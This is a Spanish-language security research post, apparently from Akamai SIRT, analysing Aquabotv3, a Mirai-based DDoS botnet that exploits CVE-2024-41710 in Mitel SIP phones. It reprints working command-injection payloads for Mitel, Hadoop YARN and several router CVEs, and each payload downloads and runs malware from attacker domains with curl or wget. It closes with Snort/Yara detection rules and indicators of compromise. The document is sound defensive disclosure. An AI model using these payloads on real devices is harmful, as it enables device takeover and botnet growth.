Explotación activa: Nueva variante de Aquabot
Comentario editorial y adicional de Tricia Howard
Resumen ejecutivo
El equipo de respuesta a incidentes e inteligencia en seguridad de Akamai (SIRT, por sus siglas en inglés) ha identificado una nueva variante del malware basado en Mirai, Aquabot, que está intentando atacar activamente los teléfonos SIP de Mitel. Como esta es la tercera iteración distinta de Aquabot, la hemos denominado Aquabotv3.
El malware aprovecha CVE-2024-41710, una vulnerabilidad de inyección de comandos que afecta a los modelos de Mitel.
Este malware muestra un comportamiento que nunca antes habíamos visto con una variante de Mirai: una función (report_kill) para informar a mando y control (C2) cuando se detecta una señal de interrupción en el dispositivo infectado. No hemos visto ninguna respuesta de C2 a la fecha de esta entrada del blog.
Introducción y detección
¿Qué es Aquabot?
Aquabot es una botnet creada a partir del marco Mirai con el objetivo final de un ataque distribuido de denegación de servicio (DDoS). Su nombre se deriva del nombre de archivo presente en el análisis: “Aqua”. Se ha conocido desde noviembre de 2023 y Antiy Labs informó de él por primera vez. Actualmente hay tres versiones conocidas; en esta entrada de blog presentamos la tercera.
La primera versión era muy similar al marco base de Mirai, y la segunda versión recibía ataques por mecanismos de ocultación y persistencia, como la prevención del apagado y reinicio del dispositivo. Para un análisis técnico completo, recomendamos leer el informe de Antiy.
Esta tercera iteración añade una nueva actividad para una botnet basada en Mirai: Comunicación C2 cuando la botnet capta ciertas señales. Esto y otras diferencias notables en la funcionalidad diferencian significativamente las dos versiones, lo que respalda la distinción de una tercera variante.
La vulnerabilidad y la explotación de prueba de concepto
CVE-2024-41710
CVE-2024-41710 es una vulnerabilidad de inyección de comandos que afecta a los teléfonos SIP Mitel de las series 6800, 6900 y 6900w, incluida la unidad de conferencia 6970 a través de R6,4.0.HF1 (R6,4.0,136). Se publicó originalmente a mediados de julio de 2024. La vulnerabilidad se basa en un defecto de saneamiento de los datos de entrada y su explotación puede dar lugar al acceso a la raíz del dispositivo. Esto se demostró en una prueba de concepto (PoC) hecha pública por el investigador de Packetlabs Kyle Burns a mediados de agosto de 2024 en GitHub.
No hay casos conocidos de explotación de esta vulnerabilidad en su entorno antes de las observaciones del SIRT en enero de 2025.
Prueba de concepto de la explotación
La prueba de concepto (PoC) de la explotación nos muestra que un atacante podría introducir, enviando una solicitud HTTP POST especialmente diseñada, datos de entrada que los controles de saneamiento de la aplicación deberían haber bloqueado.
En su archivo README de GitHub, Burns informó de que averiguó que el teléfono Mitel 6869i SIP, versión de firmware 6.3.0.1020, no pudo sanear correctamente los datos de entrada suministrados por el usuario e identificó varios terminales vulnerables a este problema. Para la PoC, se centró en el terminal “802,1x Support” (8021xsupport.html).
Las solicitudes remotas a 8021xsupport.html podrían utilizarse para actualizar la configuración local del dispositivo (/nvdata/etc/local.cfg). Al enviar el valor en bytes de “%dt”, la aplicación web “linemgrSip” lo interpretará como un carácter de fin de línea “%0d”. Esto se podría aprovechar durante el proceso de arranque, cuando se lee el contenido de la configuración local del dispositivo y se utiliza para acciones de inicio.
En la explotación de su PoC, Burns proporciona la siguiente carga especificada en el parámetro HTTP POST 802.1x+identity para obtener la ejecución de código.
AAAAA%dthostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl <ip> | sh ;%dt%dt%dt
Durante el proceso de arranque, la aplicación sobrescribirá la entrada de nombre de host objetivo en la configuración local del dispositivo. La entrada de nombre de host se utiliza durante el arranque y ejecutará el script de shell antepuesto.
Explotación activa
El SIRT de Akamai detectó intentos de ataque dirigidos a esta vulnerabilidad a través de nuestra red global de señuelos a principios de enero de 2025 utilizando una carga casi idéntica a la de la PoC. El ejemplo de carga que se muestra en la sección anterior estaba dirigido al URI “/8021xsupport.html”, pero ahora se está utilizando para propagar malware en su entorno.
AAAAA%!d(string=[IP Address])thostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl http://raw2.intenseapi[.]com/bin.sh | sh ;%!d(MISSING)t%!d(MISSING)t%!d(MISSING)t
Esta carga intentará recuperar y ejecutar un script de shell llamado “bin.sh”, que a su vez recuperará y ejecutará malware Mirai en el sistema de destino, con soporte para una variedad de arquitecturas diferentes, como x86 y ARM.
wget http://raw2.intenseapi[.]com/Aqua.x86; chmod 777 *; ./Aqua.x86 Aqua.x86;
wget http://raw2.intenseapi[.]com/Aqua.arm; chmod 777 *; ./Aqua.arm Aqua.arm;
wget http://raw2.intenseapi[.]com/Aqua.arm5; chmod 777 *; ./Aqua.arm5 Aqua.arm5;
wget http://raw2.intenseapi[.]com/Aqua.arm6; chmod 777 *; ./Aqua.arm6 Aqua.arm6;
wget http://raw2.intenseapi[.]com/Aqua.arm7; chmod 777 *; ./Aqua.arm7 Aqua.arm7;
wget http://raw2.intenseapi[.]com/Aqua.m68k; chmod 777 *; ./Aqua.m68k Aqua.m68k;
wget http://raw2.intenseapi[.]com/Aqua.mips; chmod 777 *; ./Aqua.mips Aqua.mips;
wget http://raw2.intenseapi[.]com/Aqua.mpsl; chmod 777 *; ./Aqua.mpsl Aqua.mpsl;
wget http://raw2.intenseapi[.]com/Aqua.sh4; chmod 777 *; ./Aqua.sh4 Aqua.sh4;
rm -rf Aqua.*
A partir de nuestro análisis de las muestras de malware, hemos determinado que se trata de una versión de la variante Aquabot Mirai. Comparte muchas similitudes con Aquabotv2; tiene las mismas funciones de ataque, pero con algunas diferencias notables que trataremos en las siguientes secciones. Debido a esta evolución en el malware, lo hemos denominado Aquabotv3.
Análisis del malware
A simple vista, Aquabotv3 parece ser solo un binario de malware Mirai estándar con funciones de ataque DDoS típicas, como inundaciones y omisiones.
[0x00008194]> afl|grep attack
0x000089f8 27 1680 sym.attack_gre_eth
0x0000c550 24 1256 sym.attack_udp_generic
0x0000b8f4 27 852 sym.attack_tcp_socket
0x0000be78 19 672 sym.attack_udp_plain
0x0000c118 20 1076 sym.attack_udp_vse
0x000084e8 8 108 sym.attack_get_opt_ip
0x0000a0fc 31 1780 sym.attack_tcp_ack
0x000085c4 1 1016 sym.attack_init
0x00009948 32 1968 sym.attack_tcp_stomp
0x000096a8 19 672 sym.attack_std
0x000081d0 13 244 sym.attack_start
0x0000aea0 31 1780 sym.attack_tcp_legit
0x000082cc 24 540 sym.attack_parse
0x0000a7f4 28 1704 sym.attack_tcp_syn
0x00008554 8 112 sym.attack_get_opt_int
0x0000bc4c 14 556 sym.attack_udp_bypass
0x0000908c 27 1560 sym.attack_gre_ip
0x0000b598 27 860 sym.attack_tcp_bypass
[0x00008194]>
Sin embargo, observamos una función llamada “defend_binary()” (vista en la figura 1 como “sym.defend_binary”) que configura un manejador de señales “handle_signal()” para las siguientes señales:
- Señal 15 (SIGTERM)
- Señal 2 (SIGINT)
- Señal 9 (SIGKILL)
- Señal 3 (SIGQUIT)
- Señal 20 (SIGTSTP)
- Señal 21 (SIGTTIN)
- Señal 22 (SIGTTOU)
- Señal 1 (SIGHUP)
La figura 1 muestra que cuando cualquiera de estas señales se envía a la muestra de malware en ejecución, el malware la detecta.
Una vez que ha capturado la señal, la función “handle_signal” establece un indicador en la memoria para indicar que la señal ha sido capturada y que el binario se ha “defendido” (Figura 2).
No se detiene ahí: Aquabotv3 informa de vuelta a casa. La función report_kill() envía un mensaje a C2 a través de una conexión TCP indicando que se capturó una señal (Figura 3).
El malware también envía intentos de interrupción a C2 (Figura 4). Sin embargo, no parece que se informe de nada desde el C2 basándose en la notificación de que se capturó una señal.
No hemos visto este comportamiento antes en una variante de Mirai, así que quizás se convierta en una nueva característica. Aunque la verdadera razón de este comportamiento no se ha confirmado, esta comunicación a C2 podría ser una forma de que el autor de la botnet monitorice activamente el estado de la botnet.
La botnet contiene funciones que están programadas para eliminar procesos que cumplen ciertos requisitos, como shells locales.
[0x00008194]> afl|grep killer
0x0000d900 15 332 sym.killer_diego
0x0000da64 18 376 sym.killer_dora_the_explorer
0x0000d324 13 664 sym.killer_im_the_map
0x0000d5dc 18 388 sym.killer_boots
0x0000ced4 42 1068 sym.killer_tico
0x0000dbf8 4 100 sym.killer_init
0x0000d77c 15 356 sym.killer_swiper
En Aquabotv2 se introdujeron mecanismos de ofuscación, que también estaban presentes en v3. La figura 5 muestra cómo el malware cambia su nombre a “httpd.x86” y se comunica con el servidor C2 193.200.78[.]57 a través del puerto 33966.
A través del análisis dinámico del comportamiento del malware, descubrimos que también se conecta al servidor C2 de 89.190.156[.]145 a través del puerto 7733. Estos puertos permanecen constantes en muchas de las muestras que analizamos.
root@debian:~# lsof |grep httpd
httpd 919 larry cwd DIR 8,1 4096 9879 /home/larry
httpd 919 larry rtd DIR 8,1 4096 2 /
httpd 919 larry txt REG 8,1 62772 10798 /home/larry/Aqua.x86
httpd 919 larry 0u IPv4 23658 0t0 TCP 192.168.0.111:37892->193.200.78.57:33966 (ESTABLISHED)
httpd 919 larry 3u sock 0,8 0t0 16781 protocol: TCP
Vulnerabilidades adicionales
Al igual que muchas otras botnets, esta se dirige a otras vulnerabilidades para ampliar aún más su alcance. Observamos que el mismo malware Aquabot Mirai se propagaba a través de la vulnerabilidad Hadoop YARN, que se explota comúnmente. De forma similar a la carga ya comentada, la explotación recuperará y ejecutará el mismo script de shell “bin.sh”, que a continuación recuperará y ejecutará la variante de malware Aquabot Mirai en un sistema objetivo.
/ws/v1/cluster/apps {"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://raw2.intenseapi[.]com/bin.sh; chmod 777 bin.sh; ./bin.sh; rm -rf *"}}, "application-type": "YARN"}
Explotación de la vulnerabilidad Hadoop YARN
Algunas de las otras vulnerabilidades que observamos que eran objetivo de la botnet son: CVE-2018-17532, CVE-2023-26801, CVE-2022-31137, Linksys E-series RCE, CVE-2018-10562, y CVE-2018-10561. Aunque los nombres de archivo difieren de la simple denominación “Aqua” de los intentos de explotación de Mitel, el malware de estos otros ataques parece ser el mismo.
/cgi-bin/hotspotlogin.cgi send=1&uamip="; cd /tmp;rm -rf mips; wget http://files1.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps tplink.0day; rm -rf vsbeps #"
Explotación de CVE-2018-17532
/goform/set_LimitClient_cfg time1=00:00-00:00&time2=00:00-00:00&mac=;killall -9 mpsl; killall -9 bash.mpsl; killall -9 mips; rm -rf *mpsl*; wget http://server2.eye-network[.]ru/qkehusl -O mpsl; busybox wget http://server2.eye-network[.]ru/qkehusl -O mpsl; chmod 777 mpsl; ./mpsl lbink;
Explotación de CVE-2023-26801
/app/options.py show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20wget%20cd /tmp; wget http://server.eye-network[.]ru/pdvr.sh; curl -O http://server.eye-network[.]ru/pdvr.sh; chmod 777 pdvr.sh; sh pdvr.sh; ./skid.sh; rm -rf *
Explotación de CVE-2022-31137
/tmUnblock.cgi submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+bins.sh%3B+wget+http%3A%2F%2Fserver.eye-network[.]ru%2Fwget.sh%3B+chmod+777+wget.sh%3B+sh+wget.sh+linksys%60&StartEPI=1
Explotación de RCE Linksys E-series
/GponForm/diag_Form?images/ XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon`;cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon&ipv=0
Explotación de CVE-2018-10562 y CVE-2018-10561
DDoS como servicio
También hemos visto que los atacantes detrás de Aquabot han anunciado esta botnet como DDoS como servicio a través de plataformas como Telegram (Figura 6). Se ha anunciado bajo varios nombres diferentes que ofrecen DDoS de capa 4 y capa 7. Las convenciones de nomenclatura varían y algunas son engañosas con respecto al verdadero propósito: Cursinq Firewall, The Eye Services y The Eye Botnet.
Los atacantes suelen afirmar que la botnet se utiliza únicamente para realizar pruebas de mitigación de DDoS con el fin de intentar engañar a los investigadores o a las fuerzas del orden público. Los atacantes afirman que se trata de una PoC o algo educativo, pero un análisis más profundo muestra que, de hecho, están anunciando DDoS como un servicio, o que los propietarios se jactan de ejecutar su propia botnet en Telegram.
Por ejemplo, en el anuncio de la figura 6, este mismo dominio que, según ellos, tiene únicamente “fines de prueba” para “sistemas de mitigación de DDoS” ha estado propagando activamente el malware Mirai.
Mirai y DDoS van de la mano
Los ataques DDoS siguen siendo una amenaza generalizada para muchas organizaciones, y las botnets como Aquabot desempeñan un papel destacado. Además, dado que la mayoría de estas botnets se basan en el malware Mirai, se dirigen principalmente a los dispositivos del Internet de las cosas (IoT), lo que hace que la propagación del malware sea relativamente fácil.
El retorno de la inversión de Mirai para un aspirante a autor de botnet es alto. Mirai es una de las familias de botnets más exitosas del mundo, y también una de las más fáciles de modificar. Estas máquinas del IoT a menudo carecen de las funciones de seguridad adecuadas, han llegado al final del periodo de asistencia o tienen configuraciones y contraseñas predeterminadas por negligencia o falta de conocimiento sobre los riesgos que ello entraña.
En el caso de Aquabot, el malware principal es el mismo que Mirai, pero el manejo de la señal es particularmente único. Sin embargo, ser único no siempre es lo más práctico: este malware no es particularmente silencioso, lo que podría ser perjudicial.
La razón del manejo único de la señal podría ser que el actor de la amenaza esté observando intencionadamente la actividad defensiva de una máquina para desarrollar variantes más sigilosas en el futuro. También se puede utilizar para detectar interrupciones activas o ataques de botnets de la competencia, campañas de retirada ética o ambas opciones.
Actúe
Sean cuales sean las intenciones del atacante, tomar medidas sobre dispositivos de IoT inseguros (como la detección y el cambio de credenciales predeterminadas) puede ayudar en la lucha contra DDoS. Muchas de estas botnets se basan en bibliotecas de contraseñas comunes para la autenticación. Descubra dónde se encuentran sus dispositivos IoT conocidos y compruebe también si hay dispositivos vulnerables. Compruebe las credenciales de inicio de sesión y cámbielas si son predeterminadas o fáciles de adivinar.
Más información
El SIRT de Akamai seguirá detectando y controlando amenazas como CVE-2024-41710, así como informando al respecto, para garantizar la seguridad de nuestros clientes, empleados y la comunidad de seguridad en general. Para estar al día de las novedades, síganos en las redes sociales o consulte nuestra página de investigación de seguridad.
Indicadores de compromiso
Hemos incluido una lista de indicadores de compromiso (IoC), así como las reglas de Snort y Yara, para ayudar a los expertos en protección.
Reglas de Snort para los IoC de red
Reglas de Snort para las IP maliciosas
# Outbound traffic TO any of these malicious IPs
alert ip any any -> [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any \
(msg:"Malicious IP Outbound Traffic"; \
sid:1000001; rev:1; \
classtype:botnet-activity; \
priority:1; )
# Inbound traffic FROM any of these malicious IPs
alert ip [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any -> any any \
(msg:"Malicious IP Inbound Traffic"; \
sid:1000002; rev:1; \
classtype:botnet-activity; \
priority:1; )
Reglas de Snort para la detección de resolución de dominio C2
alert udp any any -> any 53 (
msg:"Malicious domain DNS query (subdomains included)";
;;; For Snort 2.9.9+ or Snort 3, if using the 'dns_query' keyword:
dns_query;
pcre:"/(?:^|\.)dogmuncher\.xyz$|(?:^|\.)cardiacpure\.ru$|(?:^|\.)fuerer-net\.ru$|(?:^|\.)eye-network\.ru$|(?:^|\.)intenseapi\.com$|(?:^|\.)cloudboats\.vip$|(?:^|\.)theeyefirewall\.su$|(?:^|\.)awaken-network\.net$/i";
classtype:botnet-activity;
sid:1000001;
rev:1;
priority:1;
)
Reglas de Yara para muestras de malware
import "hash"
rule Malicious_Malware_IOCs
{
meta:
description = "Detects suspicious samples referencing known malicious infrastructure and strings"
strings:
// --- IP addresses (as ASCII) ---
$ip1 = "89.190.156.145"
$ip2 = "91.92.243.233"
$ip3 = "213.130.144.69"
$ip4 = "154.216.16.109"
$ip5 = "193.200.78.33"
$ip6 = "173.239.233.47"
$ip7 = "141.98.11.67"
$ip8 = "141.98.11.175"
$ip9 = "173.239.233.48"
$ip10 = "173.239.233.46"
// --- Domain names (as ASCII) ---
$dom1 = "dogmuncher.xyz"
$dom2 = "cardiacpure.ru"
$dom3 = "fuerer-net.ru"
$dom4 = "eye-network.ru"
$dom5 = "intenseapi.com"
$dom6 = "cloudboats.vip"
$dom7 = "theeyefirewall.su"
$dom8 = "awaken-network.net"
// --- Unique strings from malware analysis ---
$str_locker_killed = "[locker] killed process: %s"
$str_killer_node = "[killer/node] killed process: %s"
$str_killer_cpu = "[killer/cpu] killed process: %s"
$str_killer_cmd = "[killer/cmd] killed process: %s"
$str_killer_stat = "[killer/stat] killed process: %s"
$str_killer_exe = "[killer/exe] killed process: %s"
$str_killer_maps = "[killer/maps] killed process: %s"
condition:
any of ($ip*) or // Match if any malicious IP is found in ASCII form
any of ($dom*) or // Match if any malicious domain is found in ASCII form
any of ($str_killer*) or ($str_locker_killed)
}
rule Known_Malicious_Files_by_SHA256
{
meta:
description = "Detects files matching known malicious SHA-256 hashes"
hash_list = "6 known malicious samples"
condition:
hash.sha256(0, filesize) in (
"597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86",
"6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec",
"b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b",
"b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de",
"1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef",
"e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3"
)
}
Direcciones IPv4 de infraestructura histórica
89.190.156.145
91.92.243.233
213.130.144.69
154.216.16.109
193.200.78.33
173.239.233.47
141.98.11.67
141.98.11.175
173.239.233.48
173.239.233.46
Dominios para C2 y terminales de distribución de malware
dogmuncher.xyz
cardiacpure.ru
fuerer-net.ru
eye-network.ru
intenseapi.com
cloudboats.vip
theeyefirewall.su
awaken-network.net
Hashes SHA256
597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86
6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec
b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b
b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de
1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef
e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3